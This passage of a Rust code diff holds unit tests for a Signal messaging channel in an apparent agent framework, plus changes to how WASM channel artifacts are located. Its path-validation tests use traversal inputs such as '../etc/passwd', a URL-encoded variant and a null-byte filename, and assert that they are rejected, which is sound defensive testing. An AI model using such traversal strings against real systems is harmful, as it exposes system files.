Some("+1111111111".to_string())); + } + + #[test] + fn sender_falls_back_to_source() { + let env = Envelope { + source: Some("a1b2c3d4-e5f6-7890-abcd-ef1234567890".to_string()), + source_number: None, + source_name: None, + source_uuid: None, + data_message: None, + story_message: None, + timestamp: Some(1000), + }; + assert_eq!( + SignalChannel::sender(&env), + Some("a1b2c3d4-e5f6-7890-abcd-ef1234567890".to_string()) + ); + } + + #[test] + fn sender_none_when_both_missing() { + let env = Envelope { + source: None, + source_number: None, + source_name: None, + source_uuid: None, + data_message: None, + story_message: None, + timestamp: None, + }; + assert_eq!(SignalChannel::sender(&env), None); + } + + #[test] + fn process_envelope_valid_dm() -> Result<(), ChannelError> { + let ch = make_channel()?; + let env = make_envelope(Some("+1111111111"), Some("Hello!")); + let (msg, target) = ch.process_envelope(&env).unwrap(); + assert_eq!(msg.content, "Hello!"); + assert_eq!(msg.user_id, "+1111111111"); + assert_eq!(msg.channel, "signal"); + assert_eq!(target, "+1111111111"); + Ok(()) + } + + #[test] + fn process_envelope_denied_sender() -> Result<(), ChannelError> { + let ch = make_channel()?; + let env = make_envelope(Some("+9999999999"), Some("Hello!")); + assert!(ch.process_envelope(&env).is_none()); + Ok(()) + } + + #[test] + fn process_envelope_empty_message() -> Result<(), ChannelError> { + let ch = make_channel()?; + let env = make_envelope(Some("+1111111111"), Some("")); + assert!(ch.process_envelope(&env).is_none()); + Ok(()) + } + + #[test] + fn process_envelope_no_data_message() -> Result<(), ChannelError> { + let ch = make_channel()?; + let env = make_envelope(Some("+1111111111"), None); + assert!(ch.process_envelope(&env).is_none()); + Ok(()) + } + + #[test] + fn process_envelope_skips_stories() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.ignore_stories = true; + let ch = SignalChannel::new(config)?; + let mut env = make_envelope(Some("+1111111111"), Some("story text")); + env.story_message = Some(serde_json::json!({})); + assert!(ch.process_envelope(&env).is_none()); + Ok(()) + } + + #[test] + fn process_envelope_skips_attachment_only() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.ignore_attachments = true; + let ch = SignalChannel::new(config)?; + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: None, + timestamp: Some(1_700_000_000_000), + group_info: None, + attachments: Some(vec![serde_json::json!({"contentType": "image/png"})]), + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + assert!(ch.process_envelope(&env).is_none()); + Ok(()) + } + + #[test] + fn process_envelope_uuid_sender_dm() -> Result<(), ChannelError> { + let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some(uuid.to_string()), + source_number: None, + source_name: Some("Privacy User".to_string()), + source_uuid: None, + data_message: Some(DataMessage { + message: Some("Hello from privacy user".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: None, + attachments: None, + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + let (msg, target) = ch.process_envelope(&env).unwrap(); + assert_eq!(msg.user_id, uuid); + assert_eq!(msg.user_name.as_deref(), Some("Privacy User")); + assert_eq!(msg.content, "Hello from privacy user"); + assert_eq!(target, uuid); + + // Verify reply routing: UUID sender in DM should route as Direct. + let parsed = SignalChannel::parse_recipient_target(&target); + assert_eq!(parsed, RecipientTarget::Direct(uuid.to_string())); + Ok(()) + } + + #[test] + fn process_envelope_uuid_sender_in_group() -> Result<(), ChannelError> { + let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + let mut config = make_config_with_allowed_group("testgroup"); + config.ignore_attachments = false; + config.ignore_stories = false; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some(uuid.to_string()), + source_number: None, + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("Group msg from privacy user".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: Some(GroupInfo { + group_id: Some("testgroup".to_string()), + }), + attachments: None, + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + let (msg, target) = ch.process_envelope(&env).unwrap(); + assert_eq!(msg.user_id, uuid); + assert_eq!(target, "group:testgroup"); + // Groups now use deterministic UUID derived from group ID + let expected_thread_id = SignalChannel::thread_id_from_identifier("group:testgroup"); + assert_eq!(msg.thread_id, Some(expected_thread_id)); + + // Verify reply routing: group message should still route as Group. + let parsed = SignalChannel::parse_recipient_target(&target); + assert_eq!(parsed, RecipientTarget::Group("testgroup".to_string())); + Ok(()) + } + + #[test] + fn process_envelope_group_not_in_allow_from_groups() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.allow_from_groups = vec!["allowed_group".to_string()]; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("Hi".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: Some(GroupInfo { + group_id: Some("other_group".to_string()), + }), + attachments: None, + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + assert!(ch.process_envelope(&env).is_none()); + Ok(()) + } + + #[test] + fn sse_envelope_deserializes() { + let json = r#"{ + "envelope": { + "source": "+1111111111", + "sourceNumber": "+1111111111", + "sourceName": "Test User", + "timestamp": 1700000000000, + "dataMessage": { + "message": "Hello Signal!", + "timestamp": 1700000000000 + } + } + }"#; + let sse: SseEnvelope = serde_json::from_str(json).unwrap(); + let env = sse.envelope.unwrap(); + assert_eq!(env.source_number.as_deref(), Some("+1111111111")); + assert_eq!(env.source_name.as_deref(), Some("Test User")); + let dm = env.data_message.unwrap(); + assert_eq!(dm.message.as_deref(), Some("Hello Signal!")); + } + + #[test] + fn sse_envelope_deserializes_group() { + let json = r#"{ + "envelope": { + "sourceNumber": "+2222222222", + "dataMessage": { + "message": "Group msg", + "groupInfo": { + "groupId": "abc123" + } + } + } + }"#; + let sse: SseEnvelope = serde_json::from_str(json).unwrap(); + let env = sse.envelope.unwrap(); + let dm = env.data_message.unwrap(); + assert_eq!( + dm.group_info.as_ref().unwrap().group_id.as_deref(), + Some("abc123") + ); + } + + #[test] + fn envelope_defaults() { + let json = r#"{}"#; + let env: Envelope = serde_json::from_str(json).unwrap(); + assert!(env.source.is_none()); + assert!(env.source_number.is_none()); + assert!(env.source_name.is_none()); + assert!(env.data_message.is_none()); + assert!(env.story_message.is_none()); + assert!(env.timestamp.is_none()); + } + + #[test] + fn normalize_allow_entry_strips_uuid_prefix() { + assert_eq!( + SignalChannel::normalize_allow_entry("uuid:abc-123"), + "abc-123" + ); + assert_eq!( + SignalChannel::normalize_allow_entry("+1234567890"), + "+1234567890" + ); + assert_eq!(SignalChannel::normalize_allow_entry("*"), "*"); + } + + // ── build_rpc_params tests ────────────────────────────────────── + + #[test] + fn build_rpc_params_direct_with_message() -> Result<(), ChannelError> { + let ch = make_channel()?; + let target = RecipientTarget::Direct("+5555555555".to_string()); + let params = ch.build_rpc_params(&target, Some("Hello!"), None); + assert_eq!(params["recipient"], serde_json::json!(["+5555555555"])); + assert_eq!(params["account"], "+1234567890"); + assert_eq!(params["message"], "Hello!"); + // Direct targets must NOT include groupId. + assert!(params.get("groupId").is_none()); + Ok(()) + } + + #[test] + fn build_rpc_params_direct_without_message() -> Result<(), ChannelError> { + let ch = make_channel()?; + let target = RecipientTarget::Direct("+5555555555".to_string()); + let params = ch.build_rpc_params(&target, None, None); + assert_eq!(params["recipient"], serde_json::json!(["+5555555555"])); + assert_eq!(params["account"], "+1234567890"); + // No message key should be present for typing indicators. + assert!(params.get("message").is_none()); + Ok(()) + } + + #[test] + fn build_rpc_params_group_with_message() -> Result<(), ChannelError> { + let ch = make_channel()?; + let target = RecipientTarget::Group("abc123".to_string()); + let params = ch.build_rpc_params(&target, Some("Group msg"), None); + assert_eq!(params["groupId"], "abc123"); + assert_eq!(params["account"], "+1234567890"); + assert_eq!(params["message"], "Group msg"); + // Group targets must NOT include recipient. + assert!(params.get("recipient").is_none()); + Ok(()) + } + + #[test] + fn build_rpc_params_group_without_message() -> Result<(), ChannelError> { + let ch = make_channel()?; + let target = RecipientTarget::Group("abc123".to_string()); + let params = ch.build_rpc_params(&target, None, None); + assert_eq!(params["groupId"], "abc123"); + assert_eq!(params["account"], "+1234567890"); + assert!(params.get("message").is_none()); + Ok(()) + } + + #[test] + fn build_rpc_params_uuid_direct_target() -> Result<(), ChannelError> { + let ch = make_channel()?; + let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + let target = RecipientTarget::Direct(uuid.to_string()); + let params = ch.build_rpc_params(&target, Some("hi"), None); + assert_eq!(params["recipient"], serde_json::json!([uuid])); + Ok(()) + } + + // ── build_rpc_params with attachments tests ───────────────────────── + + #[test] + fn build_rpc_params_with_attachments() -> Result<(), ChannelError> { + let ch = make_channel()?; + let target = RecipientTarget::Direct("+5555555555".to_string()); + let attachments = vec!["/path/to/image.png".to_string()]; + let params = ch.build_rpc_params(&target, Some("Check this!"), Some(&attachments)); + assert_eq!(params["recipient"], serde_json::json!(["+5555555555"])); + assert_eq!(params["message"], "Check this!"); + assert_eq!( + params["attachments"], + serde_json::json!(["/path/to/image.png"]) + ); + Ok(()) + } + + #[test] + fn build_rpc_params_with_multiple_attachments() -> Result<(), ChannelError> { + let ch = make_channel()?; + let target = RecipientTarget::Direct("+5555555555".to_string()); + let attachments = vec![ + "/path/to/image.png".to_string(), + "/path/to/document.pdf".to_string(), + ]; + let params = ch.build_rpc_params(&target, Some("Files attached"), Some(&attachments)); + assert_eq!( + params["attachments"], + serde_json::json!(["/path/to/image.png", "/path/to/document.pdf"]) + ); + Ok(()) + } + + #[test] + fn build_rpc_params_with_attachments_no_message() -> Result<(), ChannelError> { + let ch = make_channel()?; + let target = RecipientTarget::Direct("+5555555555".to_string()); + let attachments = vec!["/path/to/image.png".to_string()]; + let params = ch.build_rpc_params(&target, None, Some(&attachments)); + assert!(params.get("message").is_none()); + assert_eq!( + params["attachments"], + serde_json::json!(["/path/to/image.png"]) + ); + Ok(()) + } + + #[test] + fn build_rpc_params_group_with_attachments() -> Result<(), ChannelError> { + let ch = make_channel()?; + let target = RecipientTarget::Group("abc123".to_string()); + let attachments = vec!["/path/to/photo.jpg".to_string()]; + let params = ch.build_rpc_params(&target, Some("Group photo"), Some(&attachments)); + assert_eq!(params["groupId"], "abc123"); + assert_eq!(params["message"], "Group photo"); + assert_eq!( + params["attachments"], + serde_json::json!(["/path/to/photo.jpg"]) + ); + Ok(()) + } + + // ── OutgoingResponse attachment tests ───────────────────────────── + + #[test] + fn outgoing_response_with_attachments() { + let response = OutgoingResponse::text("Hello with file") + .with_attachments(vec!["/path/to/file.png".to_string()]); + assert_eq!(response.content, "Hello with file"); + assert!( + response + .attachments + .contains(&"/path/to/file.png".to_string()) + ); + } + + #[test] + fn outgoing_response_text_empty_attachments() { + let response = OutgoingResponse::text("Hello"); + assert_eq!(response.content, "Hello"); + assert!(response.attachments.is_empty()); + } + + // ── metadata assertion tests ──────────────────────────────────── + + #[test] + fn process_envelope_metadata_has_signal_fields() -> Result<(), ChannelError> { + let ch = make_channel()?; + let env = make_envelope(Some("+1111111111"), Some("Hello!")); + let (msg, _) = ch.process_envelope(&env).unwrap(); + assert_eq!(msg.metadata["signal_sender"], "+1111111111"); + assert_eq!(msg.metadata["signal_target"], "+1111111111"); + assert_eq!(msg.metadata["signal_timestamp"], 1_700_000_000_000_u64); + Ok(()) + } + + #[test] + fn process_envelope_metadata_group_target() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.allow_from_groups = vec!["*".to_string()]; + config.group_policy = "allowlist".to_string(); + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+2222222222".to_string()), + source_number: Some("+2222222222".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("In the group".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: Some(GroupInfo { + group_id: Some("mygroup".to_string()), + }), + attachments: None, + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + let (msg, _) = ch.process_envelope(&env).unwrap(); + assert_eq!(msg.metadata["signal_target"], "group:mygroup"); + assert_eq!(msg.metadata["signal_sender"], "+2222222222"); + Ok(()) + } + + // ── attachment-with-text tests ────────────────────────────────── + + #[test] + fn process_envelope_attachment_with_text_not_skipped() -> Result<(), ChannelError> { + // Even with ignore_attachments=true, messages that have BOTH text + // and attachments should be processed (only attachment-only are skipped). + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.ignore_attachments = true; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("Check this out".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: None, + attachments: Some(vec![serde_json::json!({"contentType": "image/png"})]), + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + let result = ch.process_envelope(&env); + assert!( + result.is_some(), + "Message with text + attachment should not be skipped" + ); + let (msg, _) = result.unwrap(); + assert_eq!(msg.content, "Check this out"); + Ok(()) + } + + #[test] + fn process_envelope_attachment_only_not_skipped_when_ignore_disabled() + -> Result<(), ChannelError> { + // With ignore_attachments=false, attachment-only messages should be + // processed with the "[Attachment]" placeholder text. + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.ignore_attachments = false; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: None, + timestamp: Some(1_700_000_000_000), + group_info: None, + attachments: Some(vec![serde_json::json!({"contentType": "image/png"})]), + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + // With ignore_attachments=false, attachment-only messages are now + // processed with a placeholder "[Attachment]" text. + let result = ch.process_envelope(&env); + assert!( + result.is_some(), + "Attachment-only should be processed when ignore_attachments=false" + ); + let (msg, _) = result.unwrap(); + assert_eq!(msg.content, "[Attachment]"); + Ok(()) + } + + // ── source_name / display name tests ──────────────────────────── + + #[test] + fn process_envelope_source_name_sets_user_name() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+3333333333".to_string()), + source_number: Some("+3333333333".to_string()), + source_name: Some("Alice".to_string()), + source_uuid: None, + data_message: Some(DataMessage { + message: Some("Hey".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: None, + attachments: None, + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + let (msg, _) = ch.process_envelope(&env).unwrap(); + assert_eq!(msg.user_name.as_deref(), Some("Alice")); + Ok(()) + } + + #[test] + fn process_envelope_empty_source_name_not_set() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+3333333333".to_string()), + source_number: Some("+3333333333".to_string()), + source_name: Some("".to_string()), + source_uuid: None, + data_message: Some(DataMessage { + message: Some("Hey".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: None, + attachments: None, + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + let (msg, _) = ch.process_envelope(&env).unwrap(); + assert!( + msg.user_name.is_none(), + "Empty source_name should not set user_name" + ); + Ok(()) + } + + #[test] + fn process_envelope_no_source_name_not_set() -> Result<(), ChannelError> { + let ch = make_channel()?; + let env = make_envelope(Some("+1111111111"), Some("hi")); + let (msg, _) = ch.process_envelope(&env).unwrap(); + assert!(msg.user_name.is_none()); + Ok(()) + } + + // ── thread_id tests ───────────────────────────────────────────────────────────────── + + #[test] + fn process_envelope_dm_sets_thread_id_to_uuid() -> Result<(), ChannelError> { + let ch = make_channel()?; + let env = make_envelope(Some("+1111111111"), Some("DM")); + let (msg, _) = ch.process_envelope(&env).unwrap(); + // DMs now set thread_id to a deterministic UUID derived from phone number + let expected_thread_id = SignalChannel::thread_id_from_identifier("+1111111111"); + assert_eq!( + msg.thread_id, + Some(expected_thread_id), + "DMs should set thread_id to UUID" + ); + Ok(()) + } + + #[test] + fn process_envelope_group_sets_thread_id_to_uuid() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.allow_from_groups = vec!["*".to_string()]; + config.group_policy = "allowlist".to_string(); + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("Group msg".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: Some(GroupInfo { + group_id: Some("grp999".to_string()), + }), + attachments: None, + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + }; + let (msg, _) = ch.process_envelope(&env).unwrap(); + // Groups now set thread_id to a deterministic UUID derived from group ID + let expected_thread_id = SignalChannel::thread_id_from_identifier("group:grp999"); + assert_eq!( + msg.thread_id, + Some(expected_thread_id), + "Groups should set thread_id to UUID" + ); + Ok(()) + } + + // ── timestamp edge cases ──────────────────────────────────────── + + #[test] + fn process_envelope_uses_data_message_timestamp() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("hi".to_string()), + timestamp: Some(9999), + group_info: None, + attachments: None, + }), + story_message: None, + timestamp: Some(1111), + }; + let (msg, _) = ch.process_envelope(&env).unwrap(); + // data_message timestamp takes priority. + assert_eq!(msg.metadata["signal_timestamp"], 9999); + Ok(()) + } + + #[test] + fn process_envelope_falls_back_to_envelope_timestamp() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("hi".to_string()), + timestamp: None, + group_info: None, + attachments: None, + }), + story_message: None, + timestamp: Some(7777), + }; + let (msg, _) = ch.process_envelope(&env).unwrap(); + assert_eq!(msg.metadata["signal_timestamp"], 7777); + Ok(()) + } + + #[test] + fn process_envelope_generates_timestamp_when_missing() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("hi".to_string()), + timestamp: None, + group_info: None, + attachments: None, + }), + story_message: None, + timestamp: None, + }; + let (msg, _) = ch.process_envelope(&env).unwrap(); + // Should generate a timestamp (current time in millis), just verify it's positive. + let ts = msg.metadata["signal_timestamp"].as_u64().unwrap(); + assert!(ts > 0, "Generated timestamp should be positive"); + Ok(()) + } + + // ── SSE envelope deserialization edge cases ───────────────────── + + #[test] + fn sse_envelope_missing_envelope_field() { + let json = r#"{"account": "+1234567890"}"#; + let sse: SseEnvelope = serde_json::from_str(json).unwrap(); + assert!(sse.envelope.is_none()); + } + + #[test] + fn sse_envelope_with_story_message() { + let json = r#"{ + "envelope": { + "sourceNumber": "+1111111111", + "storyMessage": {"allowsReplies": true}, + "dataMessage": { + "message": "story text" + } + } + }"#; + let sse: SseEnvelope = serde_json::from_str(json).unwrap(); + let env = sse.envelope.unwrap(); + assert!(env.story_message.is_some()); + assert!(env.data_message.is_some()); + } + + #[test] + fn sse_envelope_with_attachments() { + let json = r#"{ + "envelope": { + "sourceNumber": "+1111111111", + "dataMessage": { + "message": "See attached", + "attachments": [ + {"contentType": "image/jpeg", "filename": "photo.jpg"}, + {"contentType": "application/pdf"} + ] + } + } + }"#; + let sse: SseEnvelope = serde_json::from_str(json).unwrap(); + let dm = sse.envelope.unwrap().data_message.unwrap(); + let attachments = dm.attachments.unwrap(); + assert_eq!(attachments.len(), 2); + } + + // ── is_e164 tests ─────────────────────────────────────────────── + + #[test] + fn is_e164_valid_numbers() { + assert!(SignalChannel::is_e164("+12345678901")); + assert!(SignalChannel::is_e164("+1234567")); // min 7 digits after + + assert!(SignalChannel::is_e164("+123456789012345")); // max 15 digits + } + + #[test] + fn is_e164_invalid_numbers() { + assert!(!SignalChannel::is_e164("12345678901")); // no + + assert!(!SignalChannel::is_e164("+1")); // too short (1 digit) + assert!(!SignalChannel::is_e164("+1234567890123456")); // too long (16 digits) + assert!(!SignalChannel::is_e164("+abc123")); // non-digit + assert!(!SignalChannel::is_e164("")); // empty + assert!(!SignalChannel::is_e164("+")); // plus only + } + + // ── config edge cases ─────────────────────────────────────────── + + #[test] + fn multiple_allow_from() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec![ + "+1111111111".to_string(), + "+2222222222".to_string(), + "a1b2c3d4-e5f6-7890-abcd-ef1234567890".to_string(), + ]; + let ch = SignalChannel::new(config)?; + assert!(ch.is_sender_allowed("+1111111111")); + assert!(ch.is_sender_allowed("+2222222222")); + assert!(ch.is_sender_allowed("a1b2c3d4-e5f6-7890-abcd-ef1234567890")); + assert!(!ch.is_sender_allowed("+9999999999")); + Ok(()) + } + + #[test] + fn multiple_allow_from_groups() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from_groups = vec!["group_a".to_string(), "group_b".to_string()]; + let ch = SignalChannel::new(config)?; + assert!(ch.is_group_allowed("group_a")); + assert!(ch.is_group_allowed("group_b")); + assert!(!ch.is_group_allowed("group_c")); + Ok(()) + } + + #[test] + fn uuid_prefix_normalization_in_allowlist() -> Result<(), ChannelError> { + let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + let mut config = make_config(); + config.allow_from = vec![format!("uuid:{uuid}"), "+1111111111".to_string()]; + let ch = SignalChannel::new(config)?; + // uuid:-prefixed entry should match bare UUID sender. + assert!(ch.is_sender_allowed(uuid)); + // Phone numbers still work alongside UUID entries. + assert!(ch.is_sender_allowed("+1111111111")); + // Non-matching should fail. + assert!(!ch.is_sender_allowed("+9999999999")); + Ok(()) + } + + // ── stories behavior tests ────────────────────────────────────── + + #[test] + fn process_envelope_stories_not_skipped_when_disabled() -> Result<(), ChannelError> { + // With ignore_stories=false, story messages with a data_message + // should still be processed. + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.ignore_stories = false; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("story with text".to_string()), + timestamp: Some(1_700_000_000_000), + group_info: None, + attachments: None, + }), + story_message: Some(serde_json::json!({})), + timestamp: Some(1_700_000_000_000), + }; + let result = ch.process_envelope(&env); + assert!( + result.is_some(), + "Stories should not be skipped when ignore_stories=false" + ); + Ok(()) + } + + // ── trailing slash variations ─────────────────────────────────── + + #[test] + fn strips_multiple_trailing_slashes() -> Result<(), ChannelError> { + let mut config = make_config(); + config.http_url = "http://127.0.0.1:8686///".to_string(); + let ch = SignalChannel::new(config)?; + assert_eq!(ch.config.http_url, "http://127.0.0.1:8686"); + Ok(()) + } + + #[test] + fn preserves_url_without_trailing_slash() -> Result<(), ChannelError> { + let config = make_config(); + let ch = SignalChannel::new(config)?; + assert_eq!(ch.config.http_url, "http://127.0.0.1:8686"); + Ok(()) + } + + // ── attachment path validation ─────────────────────────────────── + + #[test] + fn validate_attachment_paths_rejects_double_dot() { + let paths = vec!["../etc/passwd".to_string()]; + let result = SignalChannel::validate_attachment_paths(&paths); + assert!(result.is_err()); + let err = result.unwrap_err().to_string(); + assert!(err.contains("forbidden") || err.contains("sandbox")); + } + + #[test] + fn validate_attachment_paths_accepts_normal_paths() { + use std::fs; + + // Create test files in sandbox + let base_dir = crate::bootstrap::ironclaw_base_dir(); + + // Create sandbox directory if it doesn't exist (needed for CI) + let _ = fs::create_dir_all(&base_dir); + + let temp_dir = tempfile::tempdir_in(&base_dir).unwrap(); + let file1 = temp_dir.path().join("file.txt"); + let file2 = temp_dir.path().join("report.pdf"); + fs::write(&file1, "test").unwrap(); + fs::write(&file2, "test").unwrap(); + + let paths = vec![ + file1.to_string_lossy().to_string(), + file2.to_string_lossy().to_string(), + ]; + let result = SignalChannel::validate_attachment_paths(&paths); + assert!(result.is_ok()); + } + + #[test] + fn validate_attachment_paths_rejects_nested_traversal() { + let paths = vec!["foo/../bar/../../secret.txt".to_string()]; + let result = SignalChannel::validate_attachment_paths(&paths); + assert!(result.is_err()); + } + + #[test] + fn validate_attachment_paths_empty_ok() { + let paths: Vec = vec![]; + let result = SignalChannel::validate_attachment_paths(&paths); + assert!(result.is_ok()); + } + + #[test] + fn validate_attachment_paths_rejects_path_outside_sandbox() { + let paths = vec!["/tmp/evil.txt".to_string()]; + let result = SignalChannel::validate_attachment_paths(&paths); + assert!(result.is_err()); + let err = result.unwrap_err().to_string(); + assert!(err.contains("sandbox")); + } + + #[test] + fn validate_attachment_paths_rejects_url_encoded_traversal() { + let paths = vec!["%2e%2e%2fetc/passwd".to_string()]; + let result = SignalChannel::validate_attachment_paths(&paths); + assert!(result.is_err()); + } + + #[test] + fn validate_attachment_paths_rejects_null_byte() { + let paths = vec!["file\0.txt".to_string()]; + let result = SignalChannel::validate_attachment_paths(&paths); + assert!(result.is_err()); + } + + // ── conversation context ─────────────────────────────────────────── + + #[test] + fn conversation_context_extracts_sender() { + let ch = SignalChannel::new(make_config()).unwrap(); + let metadata = serde_json::json!({ + "signal_sender": "+1234567890", + "signal_sender_uuid": "uuid-123", + "signal_target": "+0987654321" + }); + let ctx = ch.conversation_context(&metadata); + assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string())); + assert_eq!(ctx.get("sender_uuid"), Some(&"uuid-123".to_string())); + assert!(!ctx.contains_key("group")); + } + + #[test] + fn conversation_context_extracts_group() { + let ch = SignalChannel::new(make_config()).unwrap(); + let metadata = serde_json::json!({ + "signal_sender": "+1234567890", + "signal_target": "group:mygroup" + }); + let ctx = ch.conversation_context(&metadata); + assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string())); + assert_eq!(ctx.get("group"), Some(&"group:mygroup".to_string())); + } + + #[test] + fn conversation_context_empty_for_unknown_channel() { + let ch = SignalChannel::new(make_config()).unwrap(); + let metadata = serde_json::json!({ + "unknown_key": "value" + }); + let ctx = ch.conversation_context(&metadata); + assert!(ctx.is_empty()); + } +} diff --git a/src/channels/wasm/bundled.rs b/src/channels/wasm/bundled.rs index 1974be41..eb3675b7 100644 --- a/src/channels/wasm/bundled.rs +++ b/src/channels/wasm/bundled.rs @@ -20,6 +20,7 @@ const CARGO_MANIFEST_DIR: &str = env!("CARGO_MANIFEST_DIR"); const KNOWN_CHANNELS: &[(&str, &str)] = &[ ("telegram", "telegram_channel"), ("slack", "slack_channel"), + ("discord", "discord_channel"), ("whatsapp", "whatsapp_channel"), ]; @@ -42,6 +43,10 @@ fn channels_src_dir() -> PathBuf { /// Locate the build artifacts for a channel. /// +/// Checks two layouts: +/// 1. **Flat** (Docker/packaged): `//.wasm` +/// 2. **Build tree** (dev): `//target/wasm32-wasip2/release/.wasm` +/// /// Returns (wasm_path, capabilities_path) or an error if files are missing. fn locate_channel_artifacts(name: &str) -> Result<(PathBuf, PathBuf), String> { let (_, crate_name) = KNOWN_CHANNELS @@ -52,31 +57,38 @@ fn locate_channel_artifacts(name: &str) -> Result<(PathBuf, PathBuf), String> { let src_dir = channels_src_dir(); let channel_dir = src_dir.join(name); - let wasm_path = channel_dir - .join("target/wasm32-wasip2/release") - .join(format!("{}.wasm", crate_name)); - let caps_path = channel_dir.join(format!("{}.capabilities.json", name)); - if !wasm_path.exists() { - return Err(format!( - "Channel '{}' WASM not found at {}. Build it first:\n \ - cd {} && cargo build --target wasm32-wasip2 --release", - name, - wasm_path.display(), - channel_dir.display() - )); + // Check flat layout first (Docker/packaged deployments) + let flat_wasm = channel_dir.join(format!("{}.wasm", name)); + if flat_wasm.exists() && caps_path.exists() { + return Ok((flat_wasm, caps_path)); } - if !caps_path.exists() { - return Err(format!( - "Channel '{}' capabilities not found at {}", - name, - caps_path.display() - )); + // Fall back to build tree layout (dev builds) — search across all WASM triples + if let Some(build_wasm) = + crate::registry::artifacts::find_wasm_artifact(&channel_dir, crate_name, "release") + && caps_path.exists() + { + return Ok((build_wasm, caps_path)); } - Ok((wasm_path, caps_path)) + // Provide a helpful error with the paths we checked + let expected_build = crate::registry::artifacts::resolve_target_dir(&channel_dir) + .join("wasm32-wasip2/release") + .join(format!("{}.wasm", crate_name)); + + Err(format!( + "Channel '{}' WASM not found. Checked:\n \ + - {} (flat/packaged)\n \ + - {} (build tree, and other triples)\n \ + Build it first:\n \ + cd {} && cargo component build --release", + name, + flat_wasm.display(), + expected_build.display(), + channel_dir.display() + )) } /// Install a channel from build artifacts into the channels directory. @@ -130,10 +142,11 @@ mod tests { use super::*; #[test] - fn test_known_channels_includes_all_three() { + fn test_known_channels_includes_all_four() { let names = bundled_channel_names(); assert!(names.contains(&"telegram")); assert!(names.contains(&"slack")); + assert!(names.contains(&"discord")); assert!(names.contains(&"whatsapp")); } diff --git a/src/channels/wasm/error.rs b/src/channels/wasm/error.rs index aa0f717a..17fbeb8d 100644 --- a/src/channels/wasm/error.rs +++ b/src/channels/wasm/error.rs @@ -80,6 +80,9 @@ pub enum WasmChannelError { 